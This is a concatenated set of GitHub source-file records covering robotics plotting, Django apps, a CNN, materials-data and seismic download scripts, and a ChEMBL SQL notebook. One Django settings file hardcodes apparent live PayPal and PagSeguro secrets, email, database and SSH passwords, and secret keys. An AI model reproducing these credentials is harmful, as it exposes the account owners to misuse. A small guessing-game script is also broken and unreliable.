np.genfromtxt(f'data/{file_label}.csv', delimiter=',')\n# print(data_array)\nt = data_array[:, 0] - data_array[0, 0]\nmotor_angles = data_array[:, 1:5]\nmotor_speeds = data_array[:, 5:9]\nfriction = 5*np.tanh(motor_speeds*0.2) + 0.02*motor_speeds\nmotor_torques = data_array[:, 9:13] - friction\ncarriage_positions = data_array[:, 13:16]\ntension_scale = np.array([0.87836188, 0.67126076, 0.66536704, 1])\ntensions = tension_scale*data_array[:, 16:20] + \\\n np.array([13.58203349, 12.62714948, 5.81913085, 0])\ndesired_pos = data_array[:, 20:]\nend_effector_pos = np.zeros((len(t), 3))\ntensions_model = np.zeros((len(t), 3))\ntorques_model = np.zeros((len(t), 3))\n# carriage_positions = np.zeros((len(t), 4))\nforce = np.array([0, 0, 5*9.81])\n\nfor i in range(len(t)):\n end_effector_pos[i, :], jacobian_m, jacobian_d, jac_tsa = full_kinematics(carriage_positions[i, :], motor_angles[i, :])\n # print(jacobian_m)\n tensions_model[i, :] = np.linalg.inv(jacobian_m[:3,:].T) @ force\n torques_model[i,:] = np.linalg.inv(jacobian_d[:3,:].T) @ force\n\n\nplt.plot(tensions_model)\nplt.plot(tensions[:,:3])\nplt.show()\n\ntensions_noise = tensions_model - tensions[:,:3]\ntorques_noise = torques_model - motor_torques[:,:3]\ncarriage_positions = np.zeros((len(t), 4))\n\n\nradius = 35\nomega = 2\nA = radius\nz = 60\n\nif traj_type == 'var_spiral':\n A = 0.5*radius*(1 + np.sin(omega*t/6.5))+2\nif traj_type == 'circle':\n A = radius \n \ncartesian_pos = np.asarray([A*np.sin(omega*t),\n A*np.cos(omega*t),\n z*np.ones(len(t))]).T\n\n# print()\n\nt0, te = 17, 40\n\nfor i in range(len(t)):\n # print(cartesian_pos[i,:])\n # print(carriage_positions[i,:3])\n carriage_positions[i,:] = inverse_kinematics(cartesian_pos[i,:])\n # carriage_positions[i,3] = 0\n # print(carriage_positions[i,:])\n motor_angles[i, :] = x2theta(carriage_positions[i, :], L=L[0], r=r[0])\n # print(motor_angles[i, :])\n \n _, jacobian_m, jacobian_d, jac_tsa = full_kinematics(carriage_positions[i, :], motor_angles[i, :])\n end_effector_pos[i, :] = cartesian_pos[i, :]\n # print(jacobian_m)\n tensions_model[i, :] = np.linalg.inv(jacobian_m[:3,:].T) @ force\n torques_model[i,:] = np.linalg.inv(jacobian_d[:3,:].T) @ force\n\n\n# plt.plot(cartesian_pos[:,0], cartesian_pos[:,1])\n# plt.show()\n\ntensions = tensions_model+ tensions_noise\nmotor_torques = torques_model+ torques_noise/1.3\n# plt.plot(t, tensions_model)\n# plt.plot(t, )\n# plt.show()\n\ncolors = ['r-', 'b--', 'g-.']\nlimits = [0,0,0]\nfig = plt.figure(figsize=(7., 5.))\ngs = fig.add_gridspec(3, hspace=0.08)\naxes = gs.subplots(sharex=True, sharey=False)\n# fig.add_subplot(111, frameon=False)\nfor j in range(3):\n axes[j].plot(t-t0, tensions_model[:, j], colors[j], label=str(j))\n axes[j].scatter(t-t0, tensions[:, j], s = 2.5, color = colors[j][0], alpha = 0.1)\n axes[j].grid(color='black', linestyle='--', linewidth=1.0, alpha=0.7)\n axes[j].grid(True)\n minim = np.min(tensions_model[:, j])\n maxim = np.max(tensions_model[:, j])\n axes[j].set_ylim([minim-3, maxim+3])\nfig.supylabel(r'Tensions $T$ (N)')\nfig.supxlabel(r'Time $t$')\nplt.xlim(t0, te)\nplt.tight_layout()\nplt.savefig(f'plots/tensions_time_{file_label}.png')\nplt.show()\n\n\nfig = plt.figure(figsize=(7., 5.))\ngs = fig.add_gridspec(3, hspace=0.08)\naxes = gs.subplots(sharex=True, sharey=False)\n# fig.add_subplot(111, frameon=False)\nfor j in range(3):\n axes[j].plot(t-t0, torques_model[:, j], colors[j], label=str(j))\n axes[j].scatter(t-t0, motor_torques[:, j], s = 2.5, color = colors[j][0], alpha = 0.1)\n axes[j].grid(color='black', linestyle='--', linewidth=1.0, alpha=0.7)\n axes[j].grid(True)\n minim = np.min(torques_model[:, j])\n maxim = np.max(torques_model[:, j])\n axes[j].set_ylim([minim-3, maxim+3])\nfig.supylabel(r'Torques $\\tau$ (mNm)')\nfig.supxlabel(r'Time $t$')\nplt.xlim(t0, te)\nplt.tight_layout()\nplt.savefig(f'plots/torques_time_{file_label}.png')\nplt.show()\n\ndata_array[:, 0] = t-t0#device_states.timestamp\ndata_array[:, 1:5] = motor_angles\n# data_array[:, 5:9] = device_states.motor_speeds\ndata_array[:, 9:12] = motor_torques\ndata_array[:, 13:16] = carriage_positions[:,:3]\ndata_array[:, 16:19] = tensions\n# data_array[:, 20:] = commands.desired_position\n\nnp.savetxt(traj_type + '.csv', data_array, delimiter=',')","repo_name":"FaragSeif/tsa_haptic","sub_path":"scripts/sim_experiments.py","file_name":"sim_experiments.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"823041369","text":"from django.urls import path\nfrom .views import IndexView, Postview,DodajPostView, EdytujPostView, UsunPostView, DodajKomnetarzView\n\nurlpatterns = [\n path('', IndexView.as_view(), name='index'),\n path('post/', Postview.as_view(), name='post-widok'),\n path('dodaj_post/',DodajPostView.as_view(), name='dodaj_post'),\n path('edytuj_post/',EdytujPostView.as_view(), name='edytuj_post'),\n path('usun_post//delete',UsunPostView.as_view(), name='usun_post'),\n path('post//dodaj_komentarz/',DodajKomnetarzView.as_view(), name='dodaj_komentarz'),\n]\n","repo_name":"dankor777/projekt_as","sub_path":"projekt_as/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3486125158","text":"import torch\nfrom torch import nn\n\nfrom models.layers import ConvBlock, FCBlock\n\n\ndef block(opt, in_channels, out_channels, pool):\n return nn.Sequential(\n ConvBlock(in_channels, out_channels, bn=opt.bn),\n ConvBlock(out_channels, out_channels, bn=opt.bn, pool=pool)\n )\n\n\ndef final_block(opt, n_channels, spatial_size):\n \"\"\"\n Final block of Cifar10Cnn model, consisting of three dense layers.\n Args:\n opt:\n n_channels:\n spatial_size:\n \"\"\"\n fc_in1 = n_channels * spatial_size * spatial_size\n fc_out1 = max(fc_in1 // 4, 256)\n fc_out2 = fc_out1 // 2\n return nn.Sequential(\n FCBlock(fc_in1, fc_out1, bn=opt.bn, flatten=True),\n FCBlock(fc_out1, fc_out2, bn=opt.bn),\n nn.Linear(fc_out2, 10) # output layer\n )\n\n\n\nclass Cifar10Cnn(nn.Module):\n def __init__(self, opt, n_initial_filters=16, n_blocks=2):\n \"\"\"\n Cnn model for Cifar10\n @param opt:\n @param n_initial_filters: number of initial filters, this gets doubled at each block.\n @param n_blocks: number of blocks, this doesn't include the last classification block\n \"\"\"\n super().__init__()\n assert n_blocks > 0\n self.initial_block = block(opt, 3, n_initial_filters, pool='max')\n self.blocks = nn.ModuleList()\n\n spatial_size = 16\n f = n_initial_filters\n for i in range(2, n_blocks + 1):\n self.blocks.append(block(opt, f, f * 2, pool='max')) # output: f*2 x 32/2**(i) x 32/2**(i)\n spatial_size //= 2\n f *= 2\n\n # create final block\n self.final_block = final_block(opt, n_channels=f, spatial_size=spatial_size)\n\n def forward(self, xb):\n out = self.initial_block(xb)\n for block in self.blocks:\n out = block(out)\n out = self.final_block(out)\n return out\n\n\nif __name__ == '__main__':\n from tmp import opt\n model = Cifar10Cnn(opt, 16, 2)\n print(model)\n fake_batch = torch.rand(16, 3, 32, 32)\n model(fake_batch)\n","repo_name":"sobir-git/continual-learning","sub_path":"models/cifar10cnn.py","file_name":"cifar10cnn.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30511369026","text":"from __future__ import absolute_import, unicode_literals\nimport os\n\nSHOP_CHECKOUT_FORM_CLASS = 'store.forms.ExternalPaymentOrderForm'\nSHOP_CHECKOUT_STEPS_SPLIT = True\nSHOP_CHECKOUT_STEPS_CONFIRMATION = False\nSHOP_CURRENCY_LOCALE = 'ptb' if 'posix' not in os.name else 'pt_BR.UTF-8'\nSHOP_HANDLER_BILLING_SHIPPING = 'store.hooks.sedex_shipping_handler'\nSHOP_HANDLER_TAX = None\nSHOP_HANDLER_ORDER = None\nSHOP_HANDLER_PAYMENT = 'store.hooks.multiple_payment_handler'\n\nEXTRA_MODEL_FIELDS = ((\n 'cartridge.shop.models.Order.paypal_redirect_token',\n 'django.db.models.CharField',(),{\n 'blank': True,\n 'null': True,\n 'max_length': 36\n }),(\n 'cartridge.shop.models.Order.pagseguro_redirect',\n 'django.db.models.CharField',(),{\n 'blank': True,\n 'null': True,\n 'max_length': 200\n })\n)\n\nUSE_SOUTH = True\nSITE_TITLE = 'Efforia Nanocomputadores'\nJQUERY_FILENAME = 'jquery-1.7.1.min.js'\nLOCALE_DATE = ('Jan', 'Fev', 'Mar', 'Abr', 'Mai', 'Jun', 'Jul', 'Ago', 'Set', 'Out', 'Nov', 'Dec')\nSTORE_POSTCODE = '90020110'\nSTORE_COUNTRY = 'Brasil'\nBANK_AGENCY = '1430-3'\nBANK_ACCOUNT = '33640-8'\nBANK_SOCIALNAME = 'EFFORIA TECNOLOGIA LTDA - ME'\nPAYPAL_SANDBOX_MODE = False\nPAYPAL_SANDBOX_RECEIVER_EMAIL = 'efforiaca-facilitator@gmail.com'\nPAYPAL_SANDBOX_CLIENT_ID = 'AeiijxAGPGKJ1J94r7u7nqX_8oCKtOzI0ZNChSIMwAkEg2Y3wff8FQhPfGZw'\nPAYPAL_SANDBOX_CLIENT_SECRET = 'EKmSiRBgd31RKZ324o47--u1IgxoOMI-J6UvuIP-X5qFSm30xYy_ULllqHIc'\nPAYPAL_RECEIVER_EMAIL = 'efforiaca@gmail.com'\nPAYPAL_CLIENT_ID = 'AcuUFhDe6YARWq5at2cdaoLQHsH2koobgx1xId97sIx7vBrRGqC9fH2tpO_V'\nPAYPAL_CLIENT_SECRET = 'ELcuGBAvIYa70j611-Tm9KJcVVymhutA-hwOhQNGMPXiBjH7YyDvSsxJjCGl'\nPAGSEGURO_SANDBOX_MODE = False\nPAGSEGURO_SANDBOX_EMAIL_COBRANCA = 'contato@efforia.com.br'\nPAGSEGURO_SANDBOX_TOKEN = 'FB7093D836BD40F6AB3DF509FECE1ED0'\nPAGSEGURO_EMAIL_COBRANCA = 'efforiaca@gmail.com'\nPAGSEGURO_TOKEN = 'D9BBC61094BB4C8BADB296613350FF20'\nSHOP_CURRENCY = 'BRL'\nDEFAULT_HOST = 'www.efforia.com.br'\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_PORT = 587\nEMAIL_USE_TLS = True\nEMAIL_HOST_USER = 'contato@efforia.com.br'\nEMAIL_HOST_PASSWORD = 'c40k21_1'\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\nADMINS = ()\nMANAGERS = ADMINS\nALLOWED_HOSTS = ['*']\nTIME_ZONE = 'America/Sao_Paulo'\nUSE_TZ = True\nLANGUAGE_CODE = 'pt-BR'\n_ = lambda s: s\nLANGUAGES = (\n\t('pt-BR', _('Brazilian Portuguese')),\n\t('en', _('English'))\n)\nDEBUG = True if 'posix' not in os.name else False\nSESSION_EXPIRE_AT_BROWSER_CLOSE = True\nSITE_ID = 1\nUSE_I18N = True\nINTERNAL_IPS = ('127.0.0.1',)\n\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader'\n)\n\nAUTHENTICATION_BACKENDS = (\n 'mezzanine.core.auth_backends.MezzanineBackend', \n 'django.contrib.auth.backends.ModelBackend'\n)\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder'\n)\n\nFILE_UPLOAD_PERMISSIONS = 420\nDATABASES = {}\n\nif 'posix' not in os.name:\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': 'dev.db',\n 'USER': '',\n 'PASSWORD': '',\n 'HOST': '',\n 'PORT': ''\n }\n }\nelse:\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': 'efforia',\n 'USER': 'efforia',\n 'PASSWORD': 'mk28to#$',\n 'HOST': '127.0.0.1',\n 'PORT': ''\n }\n }\n CACHE_MIDDLEWARE_SECONDS = 60\n CACHE_MIDDLEWARE_KEY_PREFIX = 'efforia'\n CACHES = {'default': {'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',\n 'LOCATION': '127.0.0.1:11211'}}\n SESSION_ENGINE = 'django.contrib.sessions.backends.cache'\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': True\n}\n\nPROJECT_ROOT = os.path.dirname(os.path.abspath(__file__))\nPROJECT_DIRNAME = PROJECT_ROOT.split(os.sep)[-1]\nif 'posix' not in os.name: CACHE_MIDDLEWARE_KEY_PREFIX = PROJECT_DIRNAME\nBASE_DIR = os.path.dirname(os.path.abspath(__file__)) if 'posix' not in os.name else os.path.abspath('store')\nSTATIC_URL = '/static/'\nSTATIC_ROOT = os.path.join(PROJECT_ROOT, *STATIC_URL.strip('/').split('/'))\nSTATICFILES_DIRS = (os.path.join(BASE_DIR, 'public'),)\nMEDIA_URL = '/static/media/'\nMEDIA_ROOT = os.path.join(PROJECT_ROOT, *MEDIA_URL.strip('/').split('/'))\nROOT_URLCONF = 'store.urls'\nTEMPLATE_DIRS = (os.path.join(PROJECT_ROOT, 'templates'),)\n\nINSTALLED_APPS = (\n 'django.contrib.admin', \n 'django.contrib.auth', \n 'django.contrib.contenttypes', \n 'django.contrib.redirects', \n 'django.contrib.sessions', \n 'django.contrib.sites', \n 'django.contrib.sitemaps', \n 'django.contrib.staticfiles', \n 'cartridge.shop', \n 'mezzanine.boot', \n 'mezzanine.conf', \n 'mezzanine.core', \n 'mezzanine.generic', \n 'mezzanine.blog', \n 'mezzanine.forms', \n 'mezzanine.pages', \n 'mezzanine.galleries', \n 'mezzanine.twitter', \n 'mezzanine.accounts', \n 'shipping',\n 'store', \n #'south', \n 'gunicorn'\n)\n\nEXTENSIONS = {\n 'Folder': [''],\n 'Image': ['.jpg','.jpeg','.gif','.png','.tif','.tiff','.svg'],\n 'Video': ['.mov','.wmv','.mpeg','.mpg','.avi','.rm'],\n 'Document': ['.pdf','.doc','.rtf','.txt','.xls','.csv'],\n 'Audio': ['.mp3','.mp4','.wav','.aiff','.midi','.m4p'],\n 'Code': ['.html','.py','.js','.css']\n}\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.static',\n 'django.core.context_processors.media',\n 'django.core.context_processors.request',\n 'django.core.context_processors.tz',\n 'mezzanine.conf.context_processors.settings',\n 'mezzanine.pages.context_processors.page'\n)\n\nMIDDLEWARE_CLASSES = (\n 'mezzanine.core.middleware.UpdateCacheMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.redirects.middleware.RedirectFallbackMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'cartridge.shop.middleware.ShopMiddleware',\n 'mezzanine.core.request.CurrentRequestMiddleware',\n 'mezzanine.core.middleware.TemplateForDeviceMiddleware',\n 'mezzanine.core.middleware.TemplateForHostMiddleware',\n 'mezzanine.core.middleware.AdminLoginInterfaceSelectorMiddleware',\n 'mezzanine.core.middleware.SitePermissionMiddleware',\n 'mezzanine.pages.middleware.PageMiddleware',\n 'mezzanine.core.middleware.FetchFromCacheMiddleware'\n)\n\nPACKAGE_NAME_FILEBROWSER = 'filebrowser_safe'\nPACKAGE_NAME_GRAPPELLI = 'grappelli_safe'\n\nOPTIONAL_APPS = (\n 'debug_toolbar',\n 'django_extensions',\n 'compressor',\n PACKAGE_NAME_FILEBROWSER,\n PACKAGE_NAME_GRAPPELLI\n)\n\nDEBUG_TOOLBAR_CONFIG = {'INTERCEPT_REDIRECTS': False}\nSECRET_KEY = '928f26e4-2b36-48c1-b9b7-5e2049306018df5334a2-3efa-4de8-a10b-010226b85823eaa7584f-0878-43f2-b099-45f4b73519af'\nNEVERCACHE_KEY = '0085b0ee-8947-4699-ba15-6bbf538cf75f06e504a2-ee28-4c9e-8a23-ffa5bdebc69384f3b8c4-e63f-4c95-874f-d43f59ff92aa'\nSSH_USER = 'azureuser'\nFABRIC = {\n 'SSH_USER': SSH_USER,\n 'SSH_PASS': 'mk28to#$',\n 'SSH_KEY_PATH': '',\n 'HOSTS': ['factory.efforia.com.br'],\n 'VIRTUALENV_HOME': '/home/%s' % SSH_USER,\n 'PROJECT_NAME': 'efforia',\n 'REQUIREMENTS_PATH': 'requirements.txt',\n 'GUNICORN_PORT': 8000,\n 'LOCALE': 'pt_BR.UTF-8',\n 'LIVE_HOSTNAME': 'factory.efforia.com.br',\n 'REPO_URL': 'git@factory.efforia.com.br:efforia.git',\n 'DB_PASS': 'mk28to#$',\n 'ADMIN_PASS': 'mk28to#$',\n 'SECRET_KEY': SECRET_KEY,\n 'NEVERCACHE_KEY': NEVERCACHE_KEY\n}\n\nLOGIN_URL = '/accounts/login'\nLOGIN_REDIRECT_URL = '/'\nLOGIN_ERROR_URL = '/'\nSESSION_ENGINE = 'django.contrib.sessions.backends.cached_db'\nANONYMOUS_USER_ID = -1\n\ntry:\n from mezzanine.utils.conf import set_dynamic_settings\nexcept ImportError:\n pass\nelse:\n set_dynamic_settings(globals())\n","repo_name":"williamlagos/django-coding","sub_path":"pandora-store/store/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":8310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29559773457","text":"import numpy as np\nimport pandas as pd\n\n# Set pandas view options\npd.set_option('display.width', 1000)\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\n\n# filter warnings messages from the notebook\nimport warnings\nwarnings.filterwarnings('ignore')\n\nfrom matminer.data_retrieval.retrieve_Citrine import CitrineDataRetrieval\n\napi_key = None # Set your Citrine API key here. If set as an environment variable 'CITRINE_KEY', set it to 'None'\nc = CitrineDataRetrieval() # Create an adapter to the Citrine Database.\n\ndf = c.get_dataframe(criteria={'data_type': 'EXPERIMENTAL', 'max_results': 100},\n properties=['Band gap', 'Temperature'],\n common_fields=['chemicalFormula'])\ndf.rename(columns={'Band gap': 'Experimental band gap'}, inplace=True) # Rename column\n\ndf.head()\n\nget_ipython().run_cell_magic('time', '', 'from pymatgen import MPRester, Composition\\nmpr = MPRester() # provide your API key here or add it to pymatgen\\n\\ndef get_MP_bandgap(formula):\\n \"\"\"Given a composition, get the band gap energy of the ground-state structure\\n at that composition\\n \\n Args:\\n composition (string) - Chemical formula\\n Returns:\\n (float) Band gap energy of the ground state structure\"\"\"\\n # The MPRester requires integer formuals as input\\n reduced_formula = Composition(formula).get_integer_formula_and_factor()[0]\\n struct_lst = mpr.get_data(reduced_formula)\\n \\n # If there is a structure at this composition, return the band gap energy\\n if struct_lst:\\n return sorted(struct_lst, key=lambda e: e[\\'energy_per_atom\\'])[0][\\'band_gap\\']\\n \\ndf[\\'Computed band gap\\'] = df[\\'chemicalFormula\\'].apply(get_MP_bandgap)')\n\nfrom matminer.figrecipes.plot import PlotlyFig\n\npf = PlotlyFig(df, x_title='Experimental band gap (eV)', \n y_title='Computed band gap (ev)',mode='notebook', \n fontsize=20, ticksize=15)\npf.xy([('Experimental band gap', 'Computed band gap'), ([0, 10], [0, 10])], \n modes=['markers', 'lines'], lines=[{}, {'color': 'black', 'dash': 'dash'}],\n labels='chemicalFormula', showlegends=False)\n\ndf.head()\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/experiment_vs_computed_bandgap.py","file_name":"experiment_vs_computed_bandgap.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16614613673","text":"import os\nimport numpy as np\nfrom distutils.dir_util import copy_tree\nimport cmt3d\nfrom .constants import Constants\nfrom .log import write_status\nfrom .utils import downloaddir\nimport time\n\n\ndef cpdir(src, dst):\n \"\"\"Copies entire directory from src to dst\n\n Parameters\n ----------\n src : str\n Source directory\n dst : str\n Destination directory\n \"\"\"\n copy_tree(src, dst)\n\n\ndef get_data(inputfile: str, cmtfilename: str):\n\n # Load CMT solution\n cmtsource = cmt3d.CMTSource.from_CMTSOLUTION_file(cmtfilename)\n\n # Read input param file\n inputparams = cmt3d.read_yaml(inputfile)\n\n # Get duration from the parameter file\n downdir, waveformdir, stationdir = downloaddir(inputfile, cmtfilename,\n get_dirs_only=True)\n\n # Check whether data directory exists\n if not os.path.exists(downdir):\n os.makedirs(downdir)\n\n # Get duration from the parameter file\n duration = inputparams['duration']\n\n # Download Data Params\n if inputparams[\"downloadparams\"] is None:\n download_dict = Constants.download_dict\n else:\n download_dict = cmt3d.read_yaml(inputparams[\"downloadparams\"])\n\n # Start and End time of the download\n starttime_offset = inputparams[\"starttime_offset\"]\n endtime_offset = inputparams[\"endtime_offset\"]\n starttime = cmtsource.origin_time + starttime_offset\n endtime = cmtsource.origin_time + duration + endtime_offset\n\n # WRITESTATUS\n write_status(downdir, \"DOWNLOADING\")\n\n # N tries\n Ntry = 10\n for i in range(Ntry):\n try:\n # Redirect logger to file\n cmt3d.download_waveforms_to_storage(\n downdir, starttime=starttime, endtime=endtime,\n waveform_storage=waveformdir, station_storage=stationdir,\n logfile=os.path.join(downdir, 'download-log.txt'),\n download_chunk_size_in_mb=100, threads_per_client=1,\n **download_dict)\n\n # Check whether download can be called successful\n if (len(os.listdir(waveformdir)) <= 30) \\\n or (len(os.listdir(stationdir)) <= 10):\n write_status(downdir, \"FAILED\")\n else:\n write_status(downdir, \"DOWNLOADED\")\n\n except Exception as e:\n print(f'Retry caught exception try {i+1}/{Ntry}')\n print(e)\n time.sleep(10)\n continue\n else:\n break\n\n return None\n\n\ndef stage_data(outdir: str):\n\n # Final location\n metadir = os.path.join(outdir, 'meta')\n datadir = os.path.join(outdir, 'data')\n\n # Load CMT solution\n cmtsource = cmt3d.CMTSource.from_CMTSOLUTION_file(\n os.path.join(metadir, 'init_model.cmt'))\n\n # Read input param file\n inputparams = cmt3d.read_yaml(os.path.join(outdir, 'input.yml'))\n\n # Databases\n src_database = inputparams[\"datadatabase\"]\n src_cmtdir = os.path.join(src_database, cmtsource.eventname)\n\n # Waveformdirs\n src_waveforms = os.path.join(src_cmtdir, 'waveforms')\n dst_waveforms = os.path.join(datadir, 'waveforms')\n\n # Metadata\n src_stations = os.path.join(src_cmtdir, 'stations')\n dst_stations = os.path.join(metadir, 'stations')\n\n # Copy Waveforms\n cpdir(src_waveforms, dst_waveforms)\n cpdir(src_stations, dst_stations)\n\n\ndef bin():\n\n import sys\n outdir = sys.argv[1]\n\n get_data(outdir)\n","repo_name":"lsawade/cmt3d","sub_path":"src/cmt3d/ioi/functions/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":3431,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"43805359789","text":"align_style = {\"textAlign\": \"center\"}\n\nstyle_table = {\n \"maxHeight\": \"50ex\",\n \"width\": \"100%\",\n \"minWidth\": \"100%\",\n \"horizontalAlign\": \"bottom\",\n}\n\ntab_style = {\"borderBottom\": \"1px solid #d6d6d6\", \"fontWeight\": \"bold\"}\n\ntab_selected_style = {\n \"borderTop\": \"1px solid #d6d6d6\",\n \"borderBottom\": \"1px solid #d6d6d6\",\n \"backgroundColor\": \"#119DFF\",\n \"color\": \"white\",\n \"padding\": \"6px\",\n}\n\nstyles = {\"pre\": {\"border\": \"thin lightgrey solid\", \"overflowX\": \"scroll\"}}\n\n\ndef style_data_conditional(turn):\n return [\n {\"if\": {\"row_index\": \"odd\"}, \"backgroundColor\": \"rgb(248, 248, 248)\"},\n {\n \"if\": {\"row_index\": turn},\n \"backgroundColor\": \"rgb(250, 200, 250)\",\n \"fontWeight\": \"bold\",\n },\n ]\n\n\nstyle_header = {\"backgroundColor\": \"rgb(230, 230, 230)\", \"fontWeight\": \"bold\"}\n\n\ncolor_mapping = {\n \"Blue\": \"rgb(31,120,180)\",\n \"BlueLight\": \"rgb(166,206,227)\",\n \"Pink\": \"rgb(222,119,174)\",\n \"PinkLight\": \"rgb(241,182,218)\",\n \"Green\": \"rgb(51,160,44)\",\n \"GreenLight\": \"rgb(178,223,138)\",\n \"Red\": \"rgb(227,26,28)\",\n \"RedLight\": \"rgb(251,154,153)\",\n \"Orange\": \"rgb(253,191,111)\",\n \"OrangeLight\": \"rgb(255,127,0)\",\n \"Purple\": \"rgb(202,178,214)\",\n \"PurpleLight\": \"rgb(106,61,154)\",\n \"Brown\": \"rgb(255,255,153)\",\n \"BrownLight\": \"rgb(177,89,40)\",\n}\n\n\ndef style_data_cond_historic(Team_List):\n\n style_data_cond = [\n {\n \"if\": {\n \"filter_query\": \"{{Equipe}} = {} && {{Fleche numero}} = 1\".format(\n team_color\n )\n },\n \"backgroundColor\": color_mapping[team_color],\n \"color\": \"white\",\n }\n for team_color in list(Team_List.keys())\n ]\n\n style_data_cond += [\n {\n \"if\": {\n \"filter_query\": \"{{Equipe}} = {} && {{Fleche numero}} != 1\".format(\n team_color\n )\n },\n \"backgroundColor\": color_mapping[team_color + \"Light\"],\n \"color\": \"white\",\n }\n for team_color in list(Team_List.keys())\n ]\n\n return style_data_cond\n\n\nstyle_data_basic = [\n {\"if\": {\"row_index\": \"odd\"}, \"backgroundColor\": \"rgb(243, 243, 243)\"}\n]\n\nscore_style_table = style_table.copy()\n\nscore_style_table[\"margin-left\"] = \"15px\"\n","repo_name":"PeterJackNaylor/dart-app","sub_path":"src/dart_games/styles_dash.py","file_name":"styles_dash.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19929791189","text":"\r\nx=input('输入数字!')\r\nx=int(x)\r\nimport random\r\nans=random.randint(1,2)\r\ny=str('y')\r\nif x==ans:\r\n y=input('恭喜你!:),还要玩吗?要请按0,不要请按1')\r\nelif y==1:\r\n print('bye bye')\r\nelif y==0:\r\n x=input('输入数字!')\r\nelse:\r\n print('你错嘞>_<,再试一次')\r\ni=int(i)\r\nwhile x != ans or i<5:\r\n x=input('再输入一次数字!')\r\n x=float(x)\r\n print('你错嘞>_<,再试一次')\r\n i+1\r\nif i==ans:\r\n print('恭喜你!:),还要玩吗?要请按0,不要请按1')\r\nelse:\r\n print('bye bye')","repo_name":"097654321C/lesson-2","sub_path":"lesson3.py","file_name":"lesson3.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"25875778105","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Algorithm-2\n\n# [Data base](https://ftp.ebi.ac.uk/pub/databases/chembl/ChEMBLdb/releases/chembl_28/)\n\n# In[ ]:\n\n\nimport re\nimport pandas as pd\npd.set_option('display.max_columns', None)\nimport subprocess\nimport psycopg2\nimport psycopg2.extras\nimport glob\nimport os\nimport chembl_credentials\n\n\nCONNECTION = psycopg2.connect(database=chembl_credentials.database, \n user=chembl_credentials.user, \n password=chembl_credentials.password, \n host=chembl_credentials.host, \n port=chembl_credentials.port)\n\n\n# In[ ]:\n\n\nos.makedirs(\"./molfiles\", exist_ok=True)\nos.makedirs(\"./sdf\", exist_ok=True)\nos.makedirs(\"./smi\", exist_ok=True)\nos.makedirs(\"./alg2_files\", exist_ok=True)\n\n\n# In[ ]:\n\n\nQUERY_GET_ASSAYS = \"\"\"\n SELECT\n ac.ASSAY_ID AS assay_id \n FROM ACTIVITIES as ac\n WHERE ac.MOLREGNO IS NOT NULL\n ;\n\"\"\"\n\ndef get_assays():\n query = QUERY_GET_ASSAYS\n cur = CONNECTION.cursor()\n cur.execute(query)\n rows = cur.fetchall()\n\n return rows\n\n\n# In[ ]:\n\n\nassays = list(set(get_assays()))\n\n\n# In[ ]:\n\n\nQUERY_GET_LIST_OF_MOLECULES_FROM_ASSAY = \"\"\"\n SELECT\n ac.MOLREGNO\n FROM ACTIVITIES as ac\n WHERE ac.ASSAY_ID = %s\n ;\n\"\"\"\n\ndef get_list_of_molecules_from_assay(assay_id):\n query = QUERY_GET_LIST_OF_MOLECULES_FROM_ASSAY\n cur = CONNECTION.cursor()\n cur.execute(query, (assay_id,))\n molecules = cur.fetchall()\n \n return molecules\n\n\n# In[ ]:\n\n\nQUERY_GET_MOLECULE_WITH_FLUORINE_IN_ASSAY = \"\"\"\n SELECT \n cs.MOLREGNO\n FROM COMPOUND_STRUCTURES as cs\n WHERE cs.MOLREGNO = %s\n AND cs.CANONICAL_SMILES ~ 'F([^emlr]|$)'\n ;\n\"\"\"\n\ndef get_molecule_with_fluorine_in_assay(molregno):\n query = QUERY_GET_MOLECULE_WITH_FLUORINE_IN_ASSAY\n cur = CONNECTION.cursor()\n cur.execute(query, (molregno,))\n molecules = cur.fetchone()\n \n return molecules\n\n\n# In[ ]:\n\n\nQUERY_GET_MOLFILE_BY_MOLREGNO = \"\"\"\n SELECT\n cs.MOLFILE\n FROM 